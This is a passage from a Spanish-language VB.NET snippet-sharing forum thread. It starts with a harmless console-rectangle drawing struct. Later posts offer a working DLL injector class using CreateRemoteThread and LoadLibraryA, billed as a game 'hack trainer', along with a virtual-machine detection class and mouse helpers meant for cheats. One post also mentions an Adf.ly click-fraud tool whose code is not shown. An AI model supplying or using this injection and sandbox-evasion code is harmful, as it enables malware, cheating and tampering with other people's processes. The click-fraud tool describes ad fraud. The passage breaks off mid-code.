    ''' The character to print the right border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(True)>
    Public Property CharRight As Char

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets or sets the character to print the bottom border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' The character to print the bottom border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(True)>
    Public Property CharBottom As Char

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Tests whether all numeric properties of this System.Drawing.Rectangle have values of zero.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' This property returns <see langword="True"/> if the
    ''' <see cref="ConsoleRectangle.Width"/>, <see cref="ConsoleRectangle.Height"/>,
    ''' <see cref="ConsoleRectangle.X"/>, and <see cref="ConsoleRectangle.Y"/> properties
    ''' of this <see cref="ConsoleRectangle"/> all have values of zero;
    ''' otherwise, <see langword="False"/>
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(False)>
    Public ReadOnly Property IsEmpty As Boolean
        Get
            Return (Me.Location = Point.Empty) AndAlso (Me.Size = Size.Empty)
        End Get
    End Property

#End Region

#Region " Constructors "

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Initializes a new instance of the <see cref="ConsoleRectangle"/> structure.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="rect">
    ''' A <see cref="Rectangle"/> that contains the location and size for this <see cref="ConsoleRectangle"/>.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Sub New(ByVal rect As Rectangle)
        Me.New(rect.Location, rect.Size, "▌"c, "▀"c, "▐"c, "▄"c)
    End Sub

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Initializes a new instance of the <see cref="ConsoleRectangle"/> structure.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="rect">
    ''' A <see cref="Rectangle"/> that contains the location and size for this <see cref="ConsoleRectangle"/>.
    ''' </param>
    '''
    ''' <param name="charLeft">
    ''' The character to print the left border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </param>
    '''
    ''' <param name="charTop">
    ''' The character to print the top border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </param>
    '''
    ''' <param name="charRight">
    ''' The character to print the right border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </param>
    '''
    ''' <param name="charBottom">
    ''' The character to print the bottom border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Sub New(ByVal rect As Rectangle,
                   ByVal charLeft As Char, ByVal charTop As Char,
                   ByVal charRight As Char, ByVal charBottom As Char)

        Me.New(rect.Location, rect.Size, charLeft, charTop, charRight, charBottom)

    End Sub

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Initializes a new instance of the <see cref="ConsoleRectangle"/> structure.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="location">
    ''' The location for this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </param>
    '''
    ''' <param name="size">
    ''' The size for this <see cref="ConsoleRectangle"/>.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Sub New(ByVal location As Point, ByVal size As Size)
        Me.New(location, size, "▌"c, "▀"c, "▐"c, "▄"c)
    End Sub

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Initializes a new instance of the <see cref="ConsoleRectangle"/> structure.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="location">
    ''' The location for this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </param>
    '''
    ''' <param name="size">
    ''' The size for this <see cref="ConsoleRectangle"/>.
    ''' </param>
    '''
    ''' <param name="charLeft">
    ''' The character to print the left border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </param>
    '''
    ''' <param name="charTop">
    ''' The character to print the top border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </param>
    '''
    ''' <param name="charRight">
    ''' The character to print the right border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </param>
    '''
    ''' <param name="charBottom">
    ''' The character to print the bottom border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <exception cref="ArgumentNullException">
    ''' </exception>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Sub New(ByVal location As Point, ByVal size As Size,
                   ByVal charLeft As Char, ByVal charTop As Char,
                   ByVal charRight As Char, ByVal charBottom As Char)

        Me.UpdateLocation(location)
        Me.UpdateSize(size)

        Me.CharLeft = charLeft
        Me.CharTop = charTop
        Me.CharRight = charRight
        Me.CharBottom = charBottom

    End Sub

#End Region

#Region " Public Methods "

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Writes the bounds of this <see cref="ConsoleRectangle"/> on the current console output buffer.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Sub Write()
        For row As Integer = 0 To (Me.Height - 1)
            For column As Integer = 0 To (Me.Width - 1)
                If (row = 0) Then
                    Console.SetCursorPosition((Me.X + column), (Me.Y + row))
                    Console.Write(Me.CharTop)

                ElseIf (row = (Me.Height - 1)) Then
                    Console.SetCursorPosition((Me.X + column), (Me.Y + row))
                    Console.Write(Me.CharBottom)

                End If
            Next column

            Console.SetCursorPosition(Me.X, (Me.Y + row))
            Console.Write(Me.CharLeft)
            Console.SetCursorPosition(Me.X + (Me.Width - 1), (Me.Y + row))
            Console.Write(Me.CharRight)
        Next row
    End Sub

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Enlarges this <see cref="ConsoleRectangle"/> by the specified amount.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="width">
    ''' The amount to inflate this <see cref="ConsoleRectangle"/> horizontally.
    ''' </param>
    '''
    ''' <param name="height">
    ''' The amount to inflate this <see cref="ConsoleRectangle"/> vertically.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Sub Inflate(ByVal width As Integer, ByVal height As Integer)
        Dim rc As Rectangle = Me
        rc.Inflate(width, height)
        Me.Size = rc.Size
    End Sub

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Enlarges this <see cref="ConsoleRectangle"/> by the specified amount.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="size">
    ''' The amount to inflate this <see cref="ConsoleRectangle"/>.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Sub Inflate(ByVal size As Size)
        Me.Inflate(size.Width, size.Height)
    End Sub

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Adjusts the location of this <see cref="ConsoleRectangle"/> by the specified amount.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="x">
    ''' The horizontal offset.
    ''' </param>
    '''
    ''' <param name="y">
    ''' The vertical offset.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Sub Offset(ByVal x As Integer, ByVal y As Integer)
        Dim rc As Rectangle = Me
        rc.Offset(x, y)
        Me.Location = rc.Location
    End Sub

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Adjusts the location of this <see cref="ConsoleRectangle"/> by the specified amount.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="location">
    ''' The amount to offset the location.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Sub Offset(ByVal location As Point)
        Me.Offset(location.X, location.Y)
    End Sub

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Returns a <see cref="String"/> that represents this <see cref="ConsoleRectangle"/>.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <returns>
    ''' A <see cref="String"/> that represents this <see cref="ConsoleRectangle"/>.
    ''' </returns>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Overrides Function ToString() As String

        If (Me.Width = 1) AndAlso (Me.Height = 1) Then
            Return Me.CharLeft

        ElseIf (Me.Height = 1) Then
            Dim sb As New StringBuilder()
            Dim lastColumnIndex As Integer = (Me.Width - 1)
            For column As Integer = 0 To lastColumnIndex
                Select Case column
                    Case 0
                        sb.Append(Me.CharLeft)
                    Case lastColumnIndex
                        sb.Append(Me.CharRight)
                    Case Else
                        sb.Append(Me.CharTop)
                End Select
            Next column
            Return sb.ToString()

        ElseIf (Me.Width = 1) Then
            Dim sb As New StringBuilder()
            For row As Integer = 0 To (Me.Height - 1)
                sb.Append(Me.CharLeft)
                sb.AppendLine()
            Next row
            Return sb.ToString()

        Else
            Dim sb As New StringBuilder()
            Dim lastRowIndex As Integer = (Me.Height - 1)
            For row As Integer = 0 To lastRowIndex
                Select Case row
                    Case 0
                        sb.Append(Me.CharLeft)
                        sb.Append(New String(Me.CharTop, Math.Max((Me.Width - 2), 1)))
                        sb.Append(Me.CharRight)
                    Case lastRowIndex
                        sb.Append(Me.CharLeft)
                        sb.Append(New String(Me.CharBottom, Math.Max((Me.Width - 2), 1)))
                        sb.Append(Me.CharRight)
                    Case Else
                        sb.Append(Me.CharLeft)
                        sb.Append(New String(" "c, Math.Max((Me.Width - 2), 1)))
                        sb.Append(Me.CharRight)
                End Select
                sb.AppendLine()
            Next row
            Return sb.ToString()

        End If

    End Function

#End Region

#Region " Operators "

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Performs an implicit conversion from <see cref="ConsoleRectangle"/> to <see cref="Rectangle"/>.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="rect">
    ''' The source <see cref="ConsoleRectangle"/>.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <returns>
    ''' The resulting <see cref="Rectangle"/>.
    ''' </returns>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Shared Widening Operator CType(ByVal rect As ConsoleRectangle) As Rectangle
        Return New Rectangle(rect.Location, rect.Size)
    End Operator

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Performs an implicit conversion from <see cref="Rectangle"/> to <see cref="ConsoleRectangle"/>.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="rect">
    ''' The source <see cref="Rectangle"/>.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <returns>
    ''' The resulting <see cref="ConsoleRectangle"/>.
    ''' </returns>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Shared Widening Operator CType(rect As Rectangle) As ConsoleRectangle
        Return New ConsoleRectangle(rect)
    End Operator

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Tests whether two <see cref="Rectangle"/> and <see cref="ConsoleRectangle"/> structures have equal location and size.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="rect">
    ''' The <see cref="Rectangle"/> to compare with the <see cref="ConsoleRectangle"/> structure.
    ''' </param>
    '''
    ''' <param name="consoleRect">
    ''' The <see cref="ConsoleRectangle"/> to compare with the <see cref="Rectangle"/> structure.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <returns>
    ''' <see langword="True"/> if the two <see cref="Rectangle"/> and <see cref="ConsoleRectangle"/> structures have equal location and size;
    ''' otherwise, <see langword="False"/>.
    ''' </returns>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Shared Operator =(rect As Rectangle, consoleRect As ConsoleRectangle) As Boolean
        Return (rect.Location = consoleRect.Location) AndAlso (rect.Size = consoleRect.Size)
    End Operator

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Determine whether two <see cref="Rectangle"/> and <see cref="ConsoleRectangle"/> structures differ in location or size.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="rect">
    ''' The <see cref="Rectangle"/> to compare with the <see cref="ConsoleRectangle"/> structure.
    ''' </param>
    '''
    ''' <param name="consoleRect">
    ''' The <see cref="ConsoleRectangle"/> to compare with the <see cref="Rectangle"/> structure.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <returns>
    ''' <see langword="True"/> if the two <see cref="Rectangle"/> and <see cref="ConsoleRectangle"/> structures differ in location or size;
    ''' otherwise, <see langword="False"/>.
    ''' </returns>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Shared Operator <>(rect As Rectangle, consoleRect As ConsoleRectangle) As Boolean
        Return Not (rect = consoleRect)
    End Operator

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Tests whether two <see cref="ConsoleRectangle"/> structures have equal location, size and characters.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="left">
    ''' The <see cref="ConsoleRectangle"/> structure that is to the left of the equality operator.
    ''' </param>
    '''
    ''' <param name="right">
    ''' The <see cref="ConsoleRectangle"/> structure that is to the right of the equality operator.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <returns>
    ''' <see langword="True"/> if the two <see cref="ConsoleRectangle"/> structures have equal location, size and characters;
    ''' otherwise, <see langword="False"/>.
    ''' </returns>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Shared Operator =(left As ConsoleRectangle, right As ConsoleRectangle) As Boolean
        Return (left.Location = right.Location) AndAlso
               (left.Size = right.Size) AndAlso
               (left.CharLeft = right.CharLeft) AndAlso
               (left.CharTop = right.CharTop) AndAlso
               (left.CharRight = right.CharRight) AndAlso
               (left.CharBottom = right.CharBottom)
    End Operator

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Tests whether two <see cref="ConsoleRectangle"/> structures differ in location, size or characters.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="left">
    ''' The <see cref="ConsoleRectangle"/> structure that is to the left of the equality operator.
    ''' </param>
    '''
    ''' <param name="right">
    ''' The <see cref="ConsoleRectangle"/> structure that is to the right of the equality operator.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <returns>
    ''' <see langword="True"/> if if any of the two <see cref="ConsoleRectangle"/> structures differ in location, size or characters;
    ''' otherwise, <see langword="False"/>.
    ''' </returns>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Public Shared Operator <>(left As ConsoleRectangle, right As ConsoleRectangle) As Boolean
        Return Not (left = right)
    End Operator

#End Region

#Region " Private Methods "

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Updates the location value specified in <see cref="ConsoleRectangle.Location"/> property.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="newLocation">
    ''' The new location.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <exception cref="ArgumentException">
    ''' Positive value is required for coordinate.
    ''' </exception>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Private Sub UpdateLocation(ByVal newLocation As Point)
        If (Me.location_ = newLocation) Then
            Exit Sub
        End If

        If (newLocation.X < 0) Then
            Throw New ArgumentException(paramName:=NameOf(newLocation),
                                        message:=String.Format("Positive value is required for '{0}' coordinate.", NameOf(newLocation.X)))

        ElseIf (newLocation.Y < 0) Then
            Throw New ArgumentException(paramName:=NameOf(newLocation),
                                        message:=String.Format("Positive value is required for '{0}' coordinate.", NameOf(newLocation.Y)))

        End If

        Me.location_ = newLocation
    End Sub

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Updates the size value specified in <see cref="ConsoleRectangle.Size"/> property.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="newSize">
    ''' The new size.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <exception cref="ArgumentException">
    ''' Value greather than zero is required.
    ''' </exception>
    ''' ----------------------------------------------------------------------------------------------------
    <DebuggerStepThrough>
    Private Sub UpdateSize(ByVal newSize As Size)
        If (Me.size_ = newSize) Then
            Exit Sub
        End If

        If (newSize.Width <= 0) Then
            Throw New ArgumentException(paramName:=NameOf(Size),
                                        message:=String.Format("Value greather than zero is required for '{0}'", NameOf(newSize.Width)))

        ElseIf (newSize.Height <= 0) Then
            Throw New ArgumentException(paramName:=NameOf(Size),
                                        message:=String.Format("Value greather than zero is required for '{0}'", NameOf(newSize.Height)))

        End If

        Me.size_ = newSize
    End Sub

#End Region

End Structure

Ejemplo de uso:
Código:
Public Module Module1

    Public Sub Main()
        Dim rc1Pos As New Point(2, Console.CursorTop + 2)
        Dim rc1 As New ConsoleRectangle(rc1Pos, New Size(32, 4), "▌"c, "▀"c, "▐"c, "▄"c)
        rc1.Write()

        Dim rc2Pos As New Point(2, Console.CursorTop + 2)
        Dim rc2 As New ConsoleRectangle(rc2Pos, New Size(32, 4), "X"c, "X"c, "X"c, "X"c)
        rc2.Write()

        Dim rc3Pos As New Point(2, Console.CursorTop + 2)
        Dim rc3 As New ConsoleRectangle(rc3Pos, New Size(11, 5), "▌"c, "▀"c, "▐"c, "▄"c)
        rc3.Write()

        Dim rc4Pos As New Point(rc3Pos.X + (rc3.Width \ 2), rc3Pos.Y + +(rc3.Height \ 2))
        Dim rc4 As New ConsoleRectangle(rc4Pos, rc3.Size, "X"c, "X"c, "X"c, "X"c)
        rc4.Write()

        Console.SetCursorPosition(rc1.X + 9, rc1.Y)
        Console.Write(" Hello World ")
        Console.SetCursorPosition(rc1.X + 6, rc1.Y + 2)
        Console.Write(" By ElektroStudios ")

        Console.CursorVisible = False
        Console.ReadKey(intercept:=True)
    End Sub

End Module


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: **Aincrad** en 11 Mayo 2019, 00:51 am
VM Detector class

Una Pequeña class que codee para detectar la ejecución en maquinas virtuales.

(https://media.discordapp.net/attachments/541338172592750623/576082648804491284/unknown.png?width=254&height=300)
 

Link (Actualizado) : AntiVM Class (https://anonfile.com/Fe1al0wanb/AntiVM_vb)



Como usar ?

Agregar 1 Timer

Código
  1. Public ProtectVM As AntiVM = New AntiVM
  2.  
  3.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  4.        ProtectVM.VM_Start()
  5.        Anti_VM_Timer.Enabled = True
  6.    End Sub
  7.  
  8.    Private Sub Anti_VM_Timer_Tick(sender As Object, e As EventArgs) Handles Anti_VM_Timer.Tick
  9.        Dim Detection As Boolean = ProtectVM.IsVirtualMachinePresent
  10.        Dim Description As String = ProtectVM.DescriptcionVM
  11.  
  12.        If Detection = True Then
  13.           msgbox("VM detectada : " & Description)
  14.        End If
  15.  
  16.    End Sub
  17.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: **Aincrad** en 26 Marzo 2020, 18:54 pm

Listar los Modulos de un Proceso. (Incluyendo su MainModule)

Código
  1. Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As UInt32, ByVal bInheritHandle As Int32, ByVal dwProcessId As UInt32) As IntPtr
  2.  
  3.        Public Shared Function GetProcessModules(ByVal Process_Name As String) As String
  4.            Dim DataS As New StringBuilder
  5.            Dim pc As Process() = Process.GetProcessesByName(Process_Name)
  6.  
  7.            Dim hndProc As IntPtr = OpenProcess(&H2 Or &H8 Or &H10 Or &H20 Or &H400, 1, CUInt(pc(0).Id))
  8.            If hndProc = IntPtr.Zero Then
  9.                Return "Error"
  10.            End If
  11.  
  12.            Dim ModulesCount As Integer = pc(0).Modules.Count - 1
  13.            For index As Integer = 0 To ModulesCount
  14.                DataS.Append(pc(0).Modules(index).FileName & vbNewLine)
  15.            Next
  16.  
  17.            Return DataS.ToString
  18.        End Function

Modo de Empleo :

Código
  1. TextBox1.Text = GetProcessModules("ProcessName")




Título: [VB] DLL Injector Class
Publicado por: **Aincrad** en 26 Marzo 2020, 19:00 pm
Mi Vieja Clase para Injectar DLLs .



DestroyerInjector.vb

Código
  1. 'Hack Trainer | Private SDK
  2. 'Made by Destroyer | Discord : Destroyer#3527
  3. 'Creation date : 4/02/2017
  4. 'Last Update : 26/06/2019  - Minimal Update
  5.  
  6. Namespace DestroyerSDK
  7.  
  8.    Public Class Injector
  9.  
  10. #Region " Declare's "
  11.  
  12.        Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As UInt32, ByVal bInheritHandle As Int32, ByVal dwProcessId As UInt32) As IntPtr
  13.        Declare Function CloseHandle Lib "kernel32" (ByVal hObject As IntPtr) As Int32
  14.        Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal buffer As Byte(), ByVal size As UInt32, ByRef lpNumberOfBytesWritten As IntPtr) As Boolean
  15.        Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As IntPtr, ByVal methodName As String) As IntPtr
  16.        Declare Function GetModuleHandleA Lib "kernel32" (ByVal moduleName As String) As IntPtr
  17.        Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As IntPtr, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr
  18.        Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As IntPtr, ByVal lpThreadAttribute As IntPtr, ByVal dwStackSize As IntPtr, ByVal lpStartAddress As IntPtr, ByVal lpParameter As IntPtr, ByVal dwCreationFlags As UInteger, ByVal lpThreadId As IntPtr) As IntPtr
  19.        Declare Function GetPrivateProfileStringA Lib "kernel32" (ByVal lpAppName As String, ByVal lpKeyName As String, ByVal lpDefault As String, ByVal lpReturnedString As System.Text.StringBuilder, ByVal nSize As Integer, ByVal lpFileName As String) As Integer
  20.        Declare Function WritePrivateProfileStringA Lib "kernel32" (ByVal lpAppName As String, ByVal lpKeyName As String, ByVal lpString As String, ByVal lpFileName As String) As Integer
  21.  
  22. #End Region
  23.  
  24. #Region " Method's "
  25.  
  26.        Private Shared Function CreateRemoteThread(ByVal procToBeInjected As Process, ByVal sDllPath As String) As Boolean
  27.            Dim lpLLAddress As IntPtr = IntPtr.Zero
  28.            Dim hndProc As IntPtr = OpenProcess(&H2 Or &H8 Or &H10 Or &H20 Or &H400, 1, CUInt(procToBeInjected.Id))
  29.            If hndProc = IntPtr.Zero Then
  30.                Return False
  31.            End If
  32.            lpLLAddress = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA")
  33.            If lpLLAddress = CType(0, IntPtr) Then
  34.                Return False
  35.            End If
  36.            Dim lpAddress As IntPtr = VirtualAllocEx(hndProc, CType(Nothing, IntPtr), CType(sDllPath.Length, IntPtr), CUInt(&H1000) Or CUInt(&H2000), CUInt(&H40))
  37.            If lpAddress = CType(0, IntPtr) Then
  38.                Return False
  39.            End If
  40.            Dim bytes As Byte() = System.Text.Encoding.ASCII.GetBytes(sDllPath)
  41.            Dim ipTmp As IntPtr = IntPtr.Zero
  42.            WriteProcessMemory(hndProc, lpAddress, bytes, CUInt(bytes.Length), ipTmp)
  43.            If ipTmp = IntPtr.Zero Then
  44.                Return False
  45.            End If
  46.            Dim ipThread As IntPtr = CreateRemoteThread(hndProc, CType(Nothing, IntPtr), IntPtr.Zero, lpLLAddress, lpAddress, 0, CType(Nothing, IntPtr))
  47.            If ipThread = IntPtr.Zero Then
  48.                Return False
  49.            End If
  50.            Return True
  51.        End Function
  52.  
  53.        Public Shared Function InjectDLL(ByVal ProcessName As String, ByVal sDllPath As String) As Boolean
  54.            Dim p As Process() = Process.GetProcessesByName(ProcessName)
  55.            If p.Length <> 0 Then
  56.                If Not CreateRemoteThread(p(0), sDllPath) Then
  57.                    If p(0).MainWindowHandle <> CType(0, IntPtr) Then
  58.                        CloseHandle(p(0).MainWindowHandle)
  59.                    End If
  60.                    Return False
  61.                End If
  62.                Return True
  63.            End If
  64.            Return False
  65.        End Function
  66.  
  67. #End Region
  68.  
  69.    End Class
  70.  
  71. End Namespace
  72.  
  73.  


Modo de uso :


Código
  1.  Dim InjectDll As Boolean = InjectDLL("ProcessGame", "DLL_Path")







Título: Re: [VB] Adf.ly Clicker
Publicado por: **Aincrad** en 26 Marzo 2020, 19:22 pm
Un Control Recién salido del Horno , Literalmente lo hice ayer.

Adf.ly Clicker


Tal como dice el titulo, Con ella puedes generas visitas a tu Link Adf.ly ..


Código
  1. ---------------------------------------Parchado
  2.  
Bueno Fue bueno mientras duro. pero ya fue Parchado el code. osea que ia no sirve, y no voy a actualizar.

(https://i.imgur.com/A0BdRhO.png)





Título: Re: WinMauseHelpersCore | Algunas funciones utiles para Cheats....
Publicado por: **Aincrad** en 10 Julio 2020, 22:34 pm
Bueno Comparto algunas funciones útiles por si creas algún Cheat en vb.net . las necesitaras.

Características :

  • GetCursorPosition ' De tipo Point , Devuelve la Posicion del Puntero del mause en el Escritorio
  • GetClientPosition  ' De tipo Point , Devuelve la Posicion de Alguna venta en el Escritorio [Juego / Applicacion]
  • GetClientCursorPosition ' De tipo Point , Devuelve la Posicion del Puntero del mause desde el Cliente  [Juego / Applicacion]
  • ShowCursor ' De tipo Bool , Muestra o Oculta el Cursor del mause
  • GetProcessHandle ' De tipo IntPtr , Obtienes el Handle de algun Proceso, By Elektro

Class WinMauseHelpersCore

Código
  1. Imports System.Runtime.InteropServices
  2.  
  3. Public Class WinMauseHelpersCore
  4.  
  5.  
  6. #Region " Pinvoke "
  7.  
  8.    <DllImport("user32.dll")> _
  9.    Private Shared Function GetCursorPos(<[In](), Out()> ByRef pt As System.Drawing.Point) As Boolean
  10.    End Function
  11.    <DllImport("user32.dll", SetLastError:=True)> _
  12.    Private Shared Function ScreenToClient(ByVal hWnd As IntPtr, ByRef lpPoint As System.Drawing.Point) As Boolean
  13.    End Function
  14.    <DllImport("user32.dll", CharSet:=CharSet.Auto)> _
  15.    Private Shared Function GetClientRect(ByVal hWnd As System.IntPtr, ByRef lpRECT As RECT) As Integer
  16.    End Function
  17.    <DllImport("user32.dll", CharSet:=CharSet.Auto, ExactSpelling:=True)> _
  18.    Public Shared Function ShowCursor(ByVal bShow As Boolean) As Integer
  19.    End Function
  20.  
  21. #Region " Structures "
  22.  
  23.    <StructLayout(LayoutKind.Sequential)> _
  24.    Public Structure RECT
  25.        Private _Left As Integer, _Top As Integer, _Right As Integer, _Bottom As Integer
  26.  
  27.        Public Sub New(ByVal Rectangle As Rectangle)
  28.            Me.New(Rectangle.Left, Rectangle.Top, Rectangle.Right, Rectangle.Bottom)
  29.        End Sub
  30.        Public Sub New(ByVal Left As Integer, ByVal Top As Integer, ByVal Right As Integer, ByVal Bottom As Integer)
  31.            _Left = Left
  32.            _Top = Top
  33.            _Right = Right
  34.            _Bottom = Bottom
  35.        End Sub
  36.  
  37.        Public Property X As Integer
  38.            Get
  39.                Return _Left
  40.            End Get
  41.            Set(ByVal value As Integer)
  42.                _Right = _Right - _Left + value
  43.                _Left = value
  44.            End Set
  45.        End Property
  46.        Public Property Y As Integer
  47.            Get
  48.                Return _Top
  49.            End Get
  50.            Set(ByVal value As Integer)
  51.                _Bottom = _Bottom - _Top + value
  52.                _Top = value
  53.            End Set
  54.        End Property
  55.        Public Property Left As Integer
  56.            Get
  57.                Return _Left
  58.            End Get
  59.            Set(ByVal value As Integer)
  60.                _Left = value
  61.            End Set
  62.        End Property
  63.        Public Property Top As Integer
  64.            Get
  65.                Return _Top
  66.            End Get
  67.            Set(ByVal value As Integer)
  68.                _Top = value
  69.            End Set
  70.        End Property
  71.        Public Property Right As Integer
  72.            Get
  73.                Return _Right
  74.            End Get
  75.            Set(ByVal value As Integer)
  76.                _Right = value
  77.            End Set
  78.        End Property
  79.        Public Property Bottom As Integer
  80.            Get
  81.                Return _Bottom
  82.            End Get
  83.            Set(ByVal value As Integer)
  84.                _Bottom = value
  85.            End Set
  86.        End Property
  87.        Public Property Height() As Integer
  88.            Get
  89.                Return _Bottom - _Top
  90.            End Get
  91.            Set(ByVal value As Integer)
  92.                _Bottom = value + _Top
  93.            End Set
  94.        End Property
  95.        Public Property Width() As Integer
  96.            Get
  97.                Return _Right - _Left
  98.            End Get
  99.            Set(ByVal value As Integer)
  100.                _Right = value + _Left
  101.            End Set
  102.        End Property
  103.        Public Property Location() As Point
  104.            Get
  105.                Return New Point(Left, Top)
  106.            End Get
  107.            Set(ByVal value As Point)
  108.                _Right = _Right - _Left + value.X
  109.                _Bottom = _Bottom - _Top + value.Y
  110.                _Left = value.X
  111.                _Top = value.Y
  112.            End Set
  113.        End Property
  114.        Public Property Size() As Size
  115.            Get
  116.                Return New Size(Width, Height)
  117.            End Get
  118.            Set(ByVal value As Size)
  119.                _Right = value.Width + _Left
  120.                _Bottom = value.Height + _Top
  121.            End Set
  122.        End Property
  123.  
  124.        Public Shared Widening Operator CType(ByVal Rectangle As RECT) As Rectangle
  125.            Return New Rectangle(Rectangle.Left, Rectangle.Top, Rectangle.Width, Rectangle.Height)
  126.        End Operator
  127.        Public Shared Widening Operator CType(ByVal Rectangle As Rectangle) As RECT
  128.            Return New RECT(Rectangle.Left, Rectangle.Top, Rectangle.Right, Rectangle.Bottom)
  129.        End Operator
